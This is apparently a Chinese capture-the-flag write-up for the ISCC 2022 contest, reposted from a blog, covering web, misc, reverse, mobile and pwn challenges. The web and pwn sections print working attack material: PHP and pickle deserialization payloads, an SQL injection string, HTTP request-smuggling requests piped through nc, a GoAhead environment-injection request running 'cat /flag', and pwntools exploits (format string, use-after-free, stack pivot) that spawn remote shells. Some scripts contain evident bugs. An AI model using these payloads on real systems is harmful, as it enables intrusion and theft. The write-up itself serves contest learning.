ISCC 2022 wp
目录
解题步骤及过程:
练武题WP:
Web:
冬奥会:
点进后发现php代码,数组绕过即可。
Payload:?Information={"year":"x","items":[0,[],0]}
爱国敬业好青年-2:
手动扫了一下,发先有一个/change目录,显示了一个Open,肯定是有用的。
既然是爱国敬业好青年,我先尝试了北京的经纬度,又尝试了北京天安门的经纬度。
现在要想一下如何提交,肯定不是初始页面,存在挟持。
发现存在/flag目录,于是尝试提交,但很多次都没成功,必须先访问change,回显Open后在提交。
说实话,脑洞有亿些大。
Pop2022:
反序列化,找到了原题,直接写。
Exp:
page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } }}class Try_Work_Hard{ protected $var = 'flag.php'; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }}class Make_a_Change{ public $effort; public function __get($key){ $function = $this->effort; return $function(); }}$mac = new Make_a_Change();$mac->effort = new Try_Work_Hard();$ril1 = new Road_is_Long();$ril1->string = $mac;$ril2 = new Road_is_Long();$ril2->page = $ril1;echo urlencode(serialize($ril2));
paylod:wish=O%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BO%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BN%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_Change"%3A1%3A%7Bs%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A6%3A"string"%3BN%3B%7D
这是一道代码审计题:
打开后访问/index显示404,查看cookie后发现存在login,试了一下login=1,或者删除也行。
然后加上后缀?url=127.0.0.1,发现存在./static/code.txt文件。
打开后发现base100加密后的代码。
得到代码:
def geneSign(): if(control_key==1): return render_template("index.html") else: return "You have not access to this page!"def check_ssrf(url): hostname = urlparse(url).hostname try: if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url): if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url): raise BaseException("url format error") if re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url): if judge_ip(hostname): return True return False, "You not get the right clue!" else: ip_address = socket.getaddrinfo(hostname,'http')[0][4][0] if is_inner_ipaddress(ip_address): return False,"inner ip address attack" else: return False, "You not get the right clue!" except BaseException as e: return False, str(e) except: return False, "unknow error"def ip2long(ip_addr): return struct.unpack("!L", socket.inet_aton(ip_addr))[0]def is_inner_ipaddress(ip): ip = ip2long(ip) print(ip) return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24def waf1(ip): forbidden_list = [ '.', '0', '1', '2', '7'] for word in forbidden_list: if ip and word: if word in ip.lower(): return True return Falsedef judge_ip(ip): if(waf1(ip)): return Fasle else: addr = addr.encode(encoding = "utf-8") ipp = base64.encodestring(addr) ipp = ipp.strip().lower().decode() if(ip==ipp): global control_key control_key = 1 return True else: return False
发现存在sstf,构造url= http://@MTI3LjAuMC4x。
然后利用这个cookie和路径。
试了许多,到最后xxe成功了。
Easy-SQL:
找到了一道类似的题。
网址:
[2020网络安全管理职业技能竞赛全国选拔赛]ezsqli_末 初的博客-CSDN博客
先尝试了几下:
想办法得到emali,select被过滤,利用table找email。
尝试了一会发现ypHeMPardErE.zip,直接访问即可得到。
发现zip里边有一个index.php代码文件,查看代码,发现和网址中的代码一样。
payload:POST:username=1'unionselect1,0x61646d696e,3%23&passwd=3
Findme:
进入网站,f12查看存在unser.php文件,直接访问。
存在反序列化漏洞,利用php原生类,遍历目录。
EXP:
然后传入即可。
发现存在flllHL91244ggg-SecR1et.txt文件。访问即可得到flag。
让我康康!:
多次尝试漏洞类型,发现了flag在/fl4g中。
发现了后端服务器类型为gunicorn/20.0.0,网上搜索相关漏洞,发现存在其存在服务器差异,可以利用服务器的差异来运用高级漏洞http走私,还顺便看了一些文章。
payloadGET / HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\nContent-Length: 67\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nContent-Length: 35\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n
然后回显只有本地人才能的获得flag,加一个secr3t_ip: 127.0.0.1即可。
可以用nc直接得到flag。
echo -en "POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 76\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxPOST /fl4g HTTP/1.1\r\nHost: localhost\r\nContent-Length: 55\r\n\r\nPOST / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020
Flag为ISCC{Let9_M1_sE1_s0m1ThInG_gO0dhhh}
misc:
2022冬奥会:
打开发现flag文件有密码,然后一张图片。
猜测密码为灯笼。
利用记事本打开即可。
单板小将苏翊鸣:
Zip文件,放到010Editor中,修改一下信息
得到:
扫描二维码然后解密,得到解压密码:15942
然后输入即可得到flag。
隐秘的信息:
现在附件后会发现有加密,题目给的有一穿加密字符,base64试一下。
当作密码尝试一下,成功进入,发现一张图片,用stegsolve打开,查看lsb通道。
发现啥都没有,尝试了好多方法,都不行,感觉就应该是lsb通道。
发现前几行有点特别,放进hex转码一下。
刚开始乱码,然后一个一个删,尝试。
得到flag。
藏在星空中的诗1:
按照五角星的画法明显顺序是13524.
将Poem里的东西排列一下即是密码,然后对比。
即可得到flag。
藏在星空中的诗2:
打开就一个txt文件,其他啥都没有猜测文件即使flag。
开头肯定是ISCC,发现六个为一组,而且前两个一样。
和Escape/unEscape编码类似,本来想直接猜测对应字母,发现少了许多,想起来第一题中有一个xls文件可以对应,因为知道了开头的ISCC{和结尾的},为了省事直接从括号里边开始。
对应出解码一下便是flag
降维打击:
得到图片后先用binwalk看一下。
命令:binwalk 图片(图片要放在binwalk下)
然后分离。
命令:dd if=1.png of=3.jpg skip=290500 bs=1
之后会发现binwalk中多出一个3.jpg。
然后将3.jpg放入esteg中。
先用:zsteg -a 3.jpg
再用:zsteg -e b1,r,lsb,yx 3.jpg -> 1.jpg
然后得到图片
和图片比对
得到flag。
真相只有一个:
打开得到三个文件,猜测flag在flag.txt中,但被隐藏起来,发现stream中存在压缩文件.
利用010Editor来改变hex头;
另存为1.zip,得到压缩文件,发现有密码,密码应该在图片中。
利用StegSolve文件查看通道,发现密码:
虽然不对,但是应该没有问题,估计是后边还有,爆破得到密码:19981111;
得到流量文件。
导出mp3文件。
发现摩斯电码:../.../-.-./-.-./--/../.../-.-.
解密得:
利用SNOW.EXE得到flag:
Re:
GetTheTable:
文件用ida打开。
找到main函数,反编译。
题目给的提示,找到正确的解密方式。
利用工具试一下。
Base58解码得到flag。
Amy's Code:
打开文件,用ida32打开,先shift+f12。
双击进入correct中
进入main中。
跟进,f5反编译,然后进入sub_411433
在进入sub_412550。
Python脚本解密得到flag:
a=[149,169,137,134,212,188,177,184,177,197,192,179,153,197,190,126,108,159,191,184]b='LWHFUENGDJGEFHYDHIGJ'flag=''str=''for i in range(len(b)): str = str + chr(a[i]-ord(b[i]))for j in range(len(a)): flag = flag + chr(ord(str[j])^j)print(flag)
How_decode:
文件用ida打开,搜索main函数反编译,发现数据。
Exp:#include using namespace std;int main(int argc,char *argv[]){ string Flag = "ISCC{012345678901}"; int key[4] ={'I', 'S', 'C', 'C'};//格式 int x = 18;//十八个变量数组 int flagI[18]; printf("请输入ida中的18个变量:");//用空格隔开 for(int i=0;i<18;i++) //输入ida中的变量。 { scanf("%d",&flagI[i]); } int z = 52/x + 6; int basic1 = z * -0x61C88647; int y = flagI[0];for (; z--;) { int basic2 = (basic1 >> 2) & 3; for (int a=x-1; a>=0; a--) { int b = flagI[(a + x - 1)%x]; flagI[a] -= ((y ^ basic1) + (b ^ key[basic2 ^ (a & 3)])) ^ (((4 * y) ^ (b >> 5)) + ((y >> 3) ^ (16 * b))); y = flagI[a]; } basic1 = 156 + 0x61C88647; } printf("flag如下:"); for (int j=0;j
将变量输入即可得到flag。
Sad Code
搜索找到main函数,f5反编译。
找到解题关键。
先放入脚本一:
from z3 import *s = Solver()a=[Int('a[%d]'%i) for i in range(7)]b=Int('b')//以下都是ida中的值s.add(a[1] + 7 * a[0] - 4 * b - 2 * a[2] == 0x1FEE9B3DB)s.add(5 * a[2] + 3 * a[1] - a[0] - 2 * b == 0x12EF33D88)s.add(2 * a[0] + 8 * a[2] + 10 * b - 5 * a[1] == 0x47293F299)s.add(7 * b + 15 * a[0] - 3 * a[2] - 2 * a[1] == 0x7D3D1DA46)s.add(15 * a[3] + 35 * a[6] - a[4] - a[5] == 0x10359D2A4C)s.add(38 * a[5] + a[3] + a[6] - 24 * a[4] == 0x330898232)s.add(38 * a[4] + 32 * a[3] - a[5] - a[6] == 0x1650EEAB9D)s.add(a[3] + 41 * a[5] - a[4] - 25 * a[6] == 0x2B9ED1A3E)if s.check(): print(s.model())
得到的值再放入脚本二:
from Crypto.Util.number import long_to_bytesa=[0]*7a[2] = 1143816531a[4] = 1414999372b = 1230193475a[6] = 1464291709a[3] = 1397509185a[1] = 1297629761a[5] = 1178879054a[0] = 2068924756FLAG=long_to_bytes(b)for i in a: FLAG+=long_to_bytes(i)print(FLAG)
即可得到flag。
VigenereLike:
将文件放入ida中打开,进入main函数查看。
发现存在加密信息,写脚本解密即可。
Exp:
def fjl(x,y):#比大小 if x > y: return 0 else: return -1def fjl2(sum): a=sum&1 return a==0def fjl3(): print("得到flag:")x = [0xe4, 0x3d, 0x80, 0x24, 0xc7, 0x0d, 0xa3, 0xba, 0x00, 0xc7, 0x05, 0x8c, 0x64, 0x97, 0x4e, 0x0a, 0x3e, 0x4b, 0x51, 0x07, 0x8f, 0x79, 0x60, 0x5b, 0x9b]#脚本1解码后的16进制数y = [ 0x9A, 0x78, 0xB6, 0x12, 0xBE, 0x66, 0x8D, 0xCF, 0x51, 0x9E, 0x63, 0xCB, 0x4A, 0xD1, 0x1A, 0x59, 0x78, 0x1C, 0x17, 0x73, 0xF2, 0x1D, 0x05, 0x2F, 0xF0, 0xD7, 0xB3, 0x22, 0x5D, 0xAD, 0x0B, 0xE2]k = [0x32, 0x63, 0x65, 0x61, 0x39, 0x66, 0x30, 0x34, 0x63, 0x36, 0x33, 0x62, 0x34, 0x32, 0x38, 0x33, 0x39, 0x34, 0x30, 0x65, 0x63, 0x30, 0x65, 0x36, 0x64, 0x32, 0x39, 0x62, 0x65, 0x32, 0x38, 0x64]kk = []z = ''print("调试:\n")for i in range(len(x)): kk.append(x[i]^y[i])for i in range(len(kk)): for j in range(128): if (fjl((k[i]+0xd0)&0xff,0xa) + j +2)&0xff == kk[i]: z = z + chr(j) print(z) breakflag=list(z[::-1])for j in range(len(flag)): if ord('a') <= ord(flag[j]) <= ord('z'): flag[j] = chr(ord(flag[j])^0x20) elif ord('A') <= ord(flag[j]) <= ord('Z'): flag[j] = chr(ord(flag[j])^0x20) elif ord('0') <= ord(flag[j]) <= ord('9'): a = ord(flag[j]) + 1 b = ord(flag[j]) - 1 if fjl2(ord(flag[j])): flag[j] = chr(a) else: flag[j] = chr(b) else: passprint("最终flag如下:")for i in range(len(flag)): print(flag[i],end='')#输出flag
Bob's Code:
Ida32打开文件,搜索main函数,在main_0中找到了str1和str2,比较一下。
查看str1的处理。
还需要对base换表,然后用exp跑出脚本。
import base64#HN-fjldef printinfo(): print('--'*30) print('flag如下:')x=list\ ('.W1BqthGbfihKthkzV1tYc.hl5oY5qcbJ3XhXQXXlRoWBWdhRTXORpf1RwoF0.')y=len(x)for j in range(y): if 'a'<=x[j]<='z': x[j] = chr(((ord(x[j])-97-2)%26)+97) elif 'A'<=x[j]<='Z': x[j] = chr(((ord(x[j])-65-2)%26)+65)printinfo()y=''.join(x)+'=='print(base64.b64decode(base64.b64decode(y.translate(str.maketrans(str1,str2)))))
Ruststr:
用ida64打开iscc_reverse文件,然后查看main函数,发现。
像是base解密,尝试一下,发现只有base64解开然后是乱码。
之后尝试一下hex头解码。
利用脚本1:
import base64# base64解码def base64_decode(base64_data): temp = base64.b64decode(base64_data).hex() return tempdata = "5D2AJMcNo7oAxwWMZJdOCj5LUQePeWBbmw=="tem = base64_decode(data)print(tem)
#结果:e43d8024c70da3ba00c7058c64974e0a3e4b51078f79605b9b
得到16进制数。
再利用脚本2:
def fjl(x,y):#比大小 if x > y: return 0 else: return -1def fjl2(sum): a=sum&1 return a==0def fjl3(): print("得到flag:")x = [0xe4, 0x3d, 0x80, 0x24, 0xc7, 0x0d, 0xa3, 0xba, 0x00, 0xc7, 0x05, 0x8c, 0x64, 0x97, 0x4e, 0x0a, 0x3e, 0x4b, 0x51, 0x07, 0x8f, 0x79, 0x60, 0x5b, 0x9b]#脚本1解码后的16进制数y = [ 0x9A, 0x78, 0xB6, 0x12, 0xBE, 0x66, 0x8D, 0xCF, 0x51, 0x9E, 0x63, 0xCB, 0x4A, 0xD1, 0x1A, 0x59, 0x78, 0x1C, 0x17, 0x73, 0xF2, 0x1D, 0x05, 0x2F, 0xF0, 0xD7, 0xB3, 0x22, 0x5D, 0xAD, 0x0B, 0xE2]k = [0x32, 0x63, 0x65, 0x61, 0x39, 0x66, 0x30, 0x34, 0x63, 0x36, 0x33, 0x62, 0x34, 0x32, 0x38, 0x33, 0x39, 0x34, 0x30, 0x65, 0x63, 0x30, 0x65, 0x36, 0x64, 0x32, 0x39, 0x62, 0x65, 0x32, 0x38, 0x64]kk = []z = ''print("调试:\n")for i in range(len(x)): kk.append(x[i]^y[i])for i in range(len(kk)): for j in range(128): if (fjl((k[i]+0xd0)&0xff,0xa) + j +2)&0xff == kk[i]: z = z + chr(j) print(z) breakflag=list(z[::-1])for j in range(len(flag)): if ord('a') <= ord(flag[j]) <= ord('z'): flag[j] = chr(ord(flag[j])^0x20) elif ord('A') <= ord(flag[j]) <= ord('Z'): flag[j] = chr(ord(flag[j])^0x20) elif ord('0') <= ord(flag[j]) <= ord('9'): a = ord(flag[j]) + 1 b = ord(flag[j]) - 1 if fjl2(ord(flag[j])): flag[j] = chr(a) else: flag[j] = chr(b) else: passprint("最终flag如下:")for i in range(len(flag)): print(flag[i],end='')#输出flag
最终得到flag。
Mobile:
Mobile A:
利用jadxgui打开后发现flag被分为两部分,一部分为AES加密,一部分为md5;
AES中的密钥为K@e2022%%y的base64加密。
偏移为:I&V2022***的base64加密。
内容为STk0OU11bnZiWCtvZGtpSUswK3Q2aHZxd2x2bTlIYkRjTFV4OWhZdEowbz0=的base64解密值。
得到第一部分flag:
然后是第二部分flag;
利用脚本获得:
先将eauals中的值放入a中
a=' '#需要放入其中的值b=\ [20,19,12,11,4,3,21,18,13,10,5,2,22,17,14,9,6,1,23,16,15,8,7,0]for j in b: print(a[j],end='')然后用上一个脚本中的值的放入下边的a中import base64def base64_decode(base64_x): y=base64.b64decode(base64_x).hex() return ya = ""#上一个脚本的运行结果flag=base64_decode(a)
print(flag)#最后还需要md5解码。
运行然后将得到的值md5解密即可;
得到第二部分为no;
连起来即可得到flag。
MoblieB:
先利用jadxgui打开得到apk文件,得到加密的一串数字。
然后改后缀解压得到一些文件。
一个一个放入ida中,发现在so文件后一直有:
十二串字符,调试几次偏移,得到flag。
利用脚本:
def phpinfo(): print('flag如下:')x="5240520105205230123054040513013050130"[:-1]#查看apk得到的值#下边是解压后ida中的值。y="MTURVPYCJGZOQNKASEWFIXBHLD"y=y+yz="CKTUVBXSAFJDGHIMNYZOPQRWEL"z=z+zm="WXOPZGNVYDEFIJCBKARLUQHMST"m=m+mi="FBSNOPMACKDRQITUVWHZLJXYGE"i=i+in="OMEJCXYFZBQRAPGSDTINKLUHVW"n=n+nq="XASQGMTFIRBVHEJUOCDYZPKLNW"q=q+qg="EHWUVRYOPQSIBXJACTZGMNDFLK"g=g+gp="VWNIKAXMOGHLZBRDQJEUYFPCST"p=p+pa="FDXYUKOPJMBCZLIGNVWSTEHAQR"a=a+af="NSKBRTUZEJOPGHIFXCDAVWQYLM"f=f+fb="CLYMVHXASTKNWIUOPZJDBQGREF"b=b+bl="AYTNCBDRSQLZWXOPKJGEHIMFUV"l=l+lbian=[5,1,51,2,52,12,512,3,53,13,513,23,523,123,5123,4,54,14,514,24,524,124,5124,34,534,134,5134,234,5234,1234,51234]x=list(map(int,x.split("0")))o="ABCDEFGHIJKLMNOPQRSTUVWXYZ"#列出t=[]for r in x: t.append(o[bian.index(r)])s=[y,z,m,i,n,q,g,p,a,f,b,l]phpinfo()for r in range(12): print(s[r][s[r].index(t[r],26)-9],end='')#结果加上ISCC{}即可。
得到flag。
Flag为ISCC{结果}。
PWN:
create_id
check一下发现是32程序。
所以将文件放在ida32中打开,查看main函数。
发现存在格式化字符串漏洞,让x==9,进入flag()函数,可以直接cat到flag,所以利用漏洞将x的值修改为9。
Exp:
from pwn import *def tishi(): print("flag在后边:")a = remote('123.57.69.203',5310)x = int(a.recvuntil('\n')[:-1],16)a.sendline('6')a.sendline('7')a.sendline('8')#使x的值为9,即可得到flag。a.sendlineafter("What's your name?\n",b"%9c%12$n"+p32(x))Flag = a.recvuntil("}")tishi()print(Flag)
sim_treasure:
ida打开查看发现为循环格式化字符串漏洞。
测定偏移量为6,然后打印libc_start_main的地址,计算基地址偏移量,将system写到code段,code地址距离main长度为3。
from pwn import *context(arch='i386')def tiqu(): print("利用ls和cat发现并得到flag")x = remote('123.57.69.203',7010)tiqu()a = ELF("sim_treasure")#将文件名字改为sim_treasureb = ELF("libc-2.27.so")offset = 6 #偏移量x.recvuntil("Can you find the magic word?\n")x.sendline('%35$p')b_base = int(x.recvuntil(b'\n')[:-1],16)-b.symbols['__libc_start_main']-241system = b_base+b.symbols['system']#利用system命令来得到flag。sh = b_base+0x17E3CFsuccess(hex(b_base))x.sendline('%3$p')code_addr = int(x.recvuntil(b'\n')[:-1],16)-0x16CAsuccess(hex(code_addr))x.sendline('%2$p')eip_addr = int(x.recvuntil(b'\n')[:-1],16)+4Payload = fmtstr_payload(offset,{code_addr+0x2A60:system})x.sendline(Payload)x.send(b'/bin/sh\x00')sleep(0.3)x.interactive()
然后ls一下发现flag.txt文件,继续cat即可。
untidy_note:
将文件放入ida中,经查看发现存在UAF和堆溢出漏洞,写入eval和system得到flag。
from pwn import *context(arch='amd64')fp1 = 'untidy_note'r = remote('123.57.69.203',7030)print("利用ls和cat得到flag")fp2 = ELF(fp1)#获取文件信息fp3 = ELF('libc-2.27.so')#获取文件信息def Edit(index,payload): r.sendlineafter("Your choose is:\n",'3') r.sendlineafter("index:\n",str(index)) r.sendlineafter("the size is:\n",str(len(payload))) r.sendafter("Content:\n",payload)def Free(index): r.sendlineafter("Your choose is:\n",'2') r.sendlineafter("index:\n\n",str(index))def Show(index): r.sendlineafter("Your choose is:\n",'4') r.sendlineafter("index:\n",str(index))def Allocate(size=0x18): r.sendlineafter("Your choose is:\n",'1') r.sendlineafter("the note size is:\n",str(size))r.sendlineafter("Welcome to use untidy_note,Your name is:" "",'HN-fjl')for i in range(26): Allocate(0x1f)Allocate(0x8)for j in range(26): Free(j)Edit(26, b'a'*0x18+p32(0x11))Allocate()Allocate()Show(1)fp3_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-998-10-fp3.symbols['__malloc_hook']free_hook = fp3_base+fp3.symbols['__free_hook']system = fp3_base+fp3.symbols['system']success("system -> "+hex(system))success("fp3_base -> "+hex(fp3_base))Allocate(0x1f)Allocate(0x1f)Allocate(0x1f)Allocate(0x1f)Allocate(0x1f)Allocate(0x1f)Allocate(0x1f)Free(4)Free(5)Free(6)Edit(6,p64(free_hook))Allocate(0x1f)Allocate(0x1f)Edit(8,p64(system))Allocate(0x18)Edit(9,b'/bin/sh\x00')Free(9)r.interactive()
然后ls一下,发现flag.txt,继续cat flag.txt即可。
跳一跳:
Ida打开文件,查看后发现check不到啥,尝试了好久,最后发现为泄露Canary和栈迁移漏洞。
Exp:
from pwn import *def fjl(): printf("----------------------------------") printf("flag如下:")context.log_level='debug'ip = remote('123.57.69.203',7020)#题目给的地址fp1 = ELF('pwn')#题目给的文件fp2=ELF('fp2-2.27.so')ip.sendlineafter('Hello CTFer! Welcome to the world of pwn~',str(0x61))for i in range(216): ip.sendline(str(0x61))ip.send('b')ip.recvuntil('a'*217)canary=u64(ip.recv(7).rjust(8,'\x00'))rbp=u64(ip.recv(6).ljust(8,'\x00'))log.info(hex(canary))log.info(hex(rbp))payload='a'*216+p64(canary)+p64(0)+p8(0x98)ip.send(payload)ip.sendlineafter('Hello CTFer! Welcome to the world of pwn~',str(0x61))for i in range(87): ip.sendline(str(0x61))ip.send('b')ip.recvuntil('a'*88)x=u64(ip.recv(6).ljust(8,'\x00'))log.info(hex(x))fp2_base = x-fp2.symbols['_ip_2_1_stderr_']yy= fp2_base+0x4f2c5payload = 'a'*216+p64(canary)+p64(0)+p64(y)fjl()ip.send(payload)ip.interactive()
擂台题WP:
MISC:
666:
打开后发现一个图片和一个flag的压缩包,不用想压缩包密码一定在图片里,尝试用Stegsolve打开文件查看,发现存在加密,尝试密码爆破,密码为123456,但还是什么都没有,想到可能是高度被改,于是改变了高度,的到密码!@#$%678()_+。
到这里就卡了好长时间,因为分析不出flag,最后在追踪tpc流时发现了一个网址,尝试访问试一下。
发现图片666。
分析一下得到两个加密。
图片中有三段加密。
第一个:SE1ERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==
第二个:pQLKpP/
第三个:EPmw301eZRzuYvQ==
第一个base64解密得到ISCC,然后以ISCC为秘钥再aes解密第二第三个得到flag。
Web:
Melody:
发现可以登录,随便登陆进去,找了一会什么都没有,就只有一个session构造。
但没有key。
搜目录后有一个info回显。
在网上看到过可以用?name={{config}}来得到key,这一题有一个Melody,也相当于题的name。
所以用?Melody={{config}}来得到,config是配置文件,一般用来设置秘钥,设置数据库地址等;
得到key:meldoy-is-so-cute-wawawa!
利用脚本来伪造session
传进session。
发现代码
# -*- coding:utf-8 -*-import pickleimport melodyimport base64from flask import Flask, Response,requestclass register: def __init__(self,name,password): self.name = name self.password = password def __eq__(self, other): return type(other) is register and self.name == other.name and self.password == other.passwordclass RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module[0:8] == '__main__': return getattr(sys.modules['__main__'],name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def find(s): return RestrictedUnpickler(io.BytesIO(s)).load()@app.route('/therealflag', methods=['GET','POST'])def realflag(): if request.method == 'POST': try: data = request.form.get('melody') if b'R' in base64.b64decode(data): return 'no reduce' else: result = find(base64.b64decode(data)) if type(result) is not register: return 'The type is not correct!' correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug"))) if correct: if session['username'] == 'admin': return Response(read('./flag.txt')) else: return Response("You're not admin!") except Exception as e: return Response(str(e)) test = register('admin', '123456') data = base64.b64encode(pickle.dumps(test)).decode() return Response(data)
主要查看@后边的,一种picke反序列化,没接触过。
网上找了个脚本,稍微修改了一下:
import base64data=b'''c__main__melody(S'name'S"melody"S"hug"S"1"db0(c__main__registerS"melody"S"hug"o.'''print(base64.b64encode(data))
因为是POST传参,所以直接传入
melody=Y19fbWFpbl9fCm1lbG9keQooUyduYW1lJwpTIm1lbG9keSIKUyJodWciClMiMSIKZGIwKGNfX21haW5fXwpyZWdpc3RlcgpTIm1lbG9keSIKUyJodWciCg==
得到flag,交flag时把flag去掉变为ISCC{}格式,ISCC{2022_melody_secrets}。
Ping2rce:
通过分析http响应头看到了GoAhead,想到了命令执行漏洞。
考点是GoAhead环境变量注入。
CVE-2021-42342 GoAhead 远程命令执行漏洞。
【最新漏洞预警】CVE-2021-42342 GoAhead 远程命令执行漏洞深入分析与复现(警惕!影响范围广泛)
但跟题目不太相似,题目需要用到ping命令,想到了p神在跳跳糖中发布过的劫持ping执行过程中环境变量注入。
看了p神的分析,不一样的是p神覆盖的是echo函数,我们只需覆盖ping即可,需要知道的是:不能传入-p参数,不能传入-n参数BASH_DUNC_相当于前十个字符,后两个字符相当于%%,满足if语句后去除前缀后会是一个变量名,以()开头的字符串将会被执行。
然后利用bp,POST传入BASH_FUNC_ping%%,内容为:() { cat /flag: }
POST /cgi-bin/ping?ip=127.0.0.1 HTTP/1.1Host: 59.110.169.206:8010User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.9,application/signed-exchange;v=b3;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Content-Type: multipart/form-data:Boundary=-----------------------------WebKitFormBoundaryAQByxV1hsbqmfWXpConnection: close-----------------------------WebKitFormBoundaryAQByxV1hsbqmfWXpContent-Disposition: form-data; name="BASH_FUNC_ping%%";() { cat /flag; }-----------------------------WebKitFormBoundaryAQByxV1hsbqmfWXp
得到flag为ISCC{c1522169-7dcvd499-4add960-9ad36-8b2a5f2f7}
PWN:
Ezuaf:
链接得到文件,将libc-2.27.so放进ida中分析,发现漏洞编写脚本。
from pwn import *def bianji(page, context): x.recvuntil(":") x.sendline("2") x.recvuntil("Input page\n") x.sendline(str(page)) x.recvuntil("Input your massage:") x.sendline(context)def chuangjian(size): x.recvuntil(":") x.sendline("1") x.recvuntil("Input size:") x.sendline(str(size))def show(page): x.recvuntil(":") x.sendline("4") x.recvuntil("Input page\n") x.sendline(str(page))def shanchu(page): x.recvuntil(":") x.sendline("3") x.recvuntil("Input page\n") x.sendline(str(page))fp=ELF("Ezuaf")#同一目录下的本题的libc-2.27.so文件,我用题目名字命名。x=remote("123.57.69.203", 8020)#连接上网址chuangjian(0x410)chuangjian(0x20)shanchu(0)show(0)fp_addr=u64(x.recvuntil('\x7f').ljust(8, b'\x00'))-0x3EBCA0print ('fp_addr', hex(fp_addr))one_gadget=fp_addr+0x4f432print ('one_gadget', hex(one_gadget))free_hook = fp_addr + fp.symbols['__free_hook']print ('free_hook', hex(free_hook))chuangjian(0x20)shanchu(2)bianji(2,p64(free_hook))chuangjian(0x20)chuangjian(0x20)bianji(4,p64(one_gadget))shanchu(1)x.interactive()
最后ls和cat flag.txt得到flag。
RE:
Encode:
Mian函数分析:
对加密的逻辑分析一下:首先对data进行了xor处理,
然后获取密钥,然后是模运算。
写脚本解密即可:
Exp:def fjl2(a, b, x, y): sun = 0 if b: sun = fjl2(b, a % b, y, x) y -= a / b * x else: x = 1 y = 0 return a return sumdef fjl1(z, fjl): y, x, d = 0, 0, 0 d = fjl2(z, fjl, x, y) if d == 1: return (x % fjl + fjl) % fjl else: return -1#主代码。Flag = ''test = [0x23, 0x4A, 0x7, 0x2B, 0x1D, 0x6, 0x3F, 0x36, 0x36, 0x2B, 0x5, 0x7, 0x6, 0x39, 0x2, 0x6, 0x38, 0x21, 0x4B, 0x1A,0x2D, 0x2D, 0x39, 0x2]k = [0] * 10k[0], k[1], k[2] = [0x7, 0xb, 0xd]k[3] = k[1] * k[0]k[4] = (k[1] - 1) * (k[0] - 1)k[5] = fjl1(k[2], k[4])shuju = [0] * 24for i in range(24): for j in range(1, 1000): if test[i] == pow(j, k[2], k[3]): shuju[i] = j breakfor j in range(len(shuju)): shuju[j] += 70 shuju[j] ^= 0x3flen1= len(shuju)for i in range((len(shuju)%2 + len(shuju))//2,-1,-1): shuju[len1 - i - 1] ^= shuju[i] shuju[i] ^= shuju[len1-i-1] shuju[len1 - i - 1] ^= shuju[i]for i in range(len1): Flag += chr(shuju[i] ^ 0xf)print(Flag)
flag为ISCC{PWN_ISR_EALLY_HARD}
来源地址:https://blog.csdn.net/akxnxbshai/article/details/125197456
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341